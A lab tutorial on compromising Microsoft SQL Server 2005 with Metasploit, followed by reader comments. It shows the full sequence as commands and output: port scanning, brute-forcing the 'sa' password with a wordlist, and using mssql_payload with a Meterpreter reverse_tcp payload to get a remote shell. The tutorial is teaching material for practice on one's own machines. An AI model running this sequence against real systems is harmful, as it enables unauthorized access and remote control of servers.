Tutorial: Exploiting MS SQL Server with Metasploit – Fast Track

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The exploitee’s system comprises: 

  • Windows XP Pro Service Pack 2 (unpatched)
  • Firewall and software updates switched off
  • Microsoft Internet Information Services (IIS) (server) and FTP service enabled
  • SQL Server 2005 Express configured
  • A vulnerable web app up and running


Let’s begin: Nmap scan from within Metasploit. The pertinent results for this exploit are:

1433/tcp open  ms-sql-s      Microsoft SQL Server 2005 9.00.1399.00


Running: Microsoft Windows XP|2003
OS CPE: cpe:/o:microsoft:windows_xp cpe:/o:microsoft:windows_server_2003
OS details: Microsoft Windows XP SP2 or SP3, or Windows Server 2003

Interestingly, Nmap couldn’t definitively identify which Windows Service Pack, but of course, I know it’s Service Pack 2.


MS SQL is installed by default on TCP port 1433 and UDP port 1434, so I need to confirm port 1434:

nmap -sU -p1434

1434/udp open|filtered ms-sql-m

And, the scan confirms this.


Now, use Metasploit mssql_ping to pick up more information:

msf > use scanner/mssql/mssql_ping
msf auxiliary(mssql_ping) > set RHOSTS
msf auxiliary(mssql_ping) > set THREADS 20
msf auxiliary(mssql_ping) > exploit

[*] SQL Server information for
[+] ServerName = LAB
[+] InstanceName = SQLEXPRESS
[+] IsClustered = No
[+] Version = 9.00.1399.06
[+] tcp = 1433
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed


There’s lots of information here. Now, brute force MS SQL with mssql_login:

>msf > use scanner/mssql/mssql_login
msf auxiliary(mssql_login) > set PASS_FILE /usr/share/set/src/fasttrack/wordlist.txt
PASS_FILE => /usr/share/set/src/fasttrack/wordlist.txt
msf auxiliary(mssql_login) > set RHOSTS
msf auxiliary(mssql_login) > set THREADS 10
msf auxiliary(mssql_login) > exploit

[+] – MSSQL – successful login ‘sa’ : ‘password1′

MS SQL password and login successfully guessed.


Now, use the mssql_payload, which exploits xp_cmdshell:

msf > use windows/mssql/mssql_payload
msf exploit(mssql_payload) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(mssql_payload) > set LHOST
msf exploit(mssql_payload) > set LPORT 443
LPORT => 443
msf exploit(mssql_payload) > set RHOST
msf exploit(mssql_payload) > set PASSWORD password1
PASSWORD => password1
msf exploit(mssql_payload) > exploit

[*] Started reverse handler on
[*] The server may have xp_cmdshell disabled, trying to enable it…
[*] Command Stager progress – 1.47% done (1499/102246 bytes)


[*] Sending stage (751104 bytes) to
[*] Command Stager progress – 100.00% done (102246/102246 bytes)
[*] Meterpreter session 1 opened ( -> at 2013-06-13 10:39:46 +0100

meterpreter >


So, I’m inside the target machine with the Meterpreter shell.


I hope this was helpful to you. Please post your comments and questions below.

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  1. Thanks. Tried with my kali machine and target machine – SQL Server 2005/Window XP. Works great. Nice way to learn and play with exploitation locally. Appreciate your effort/

  2. You’re so hacker huh? I am so amazed with: [+] – MSSQL – successful login ‘sa’ : ‘password1′” Dude, you rock! You gotta use a metasploit to guess default creds. Well, well… What else? Another Metasploit tutor on sniffing telnet session? Don’t forget to add another copypasta like collegues form India used to.

    • Kid ! , Its a community Forum where we have to start from basics. 🙂 ..

      If you want to do specialisation then pay for it. Quality comes with price Kid !

  3. I think this post is talking about vuln that can upload or execute remote code, right?

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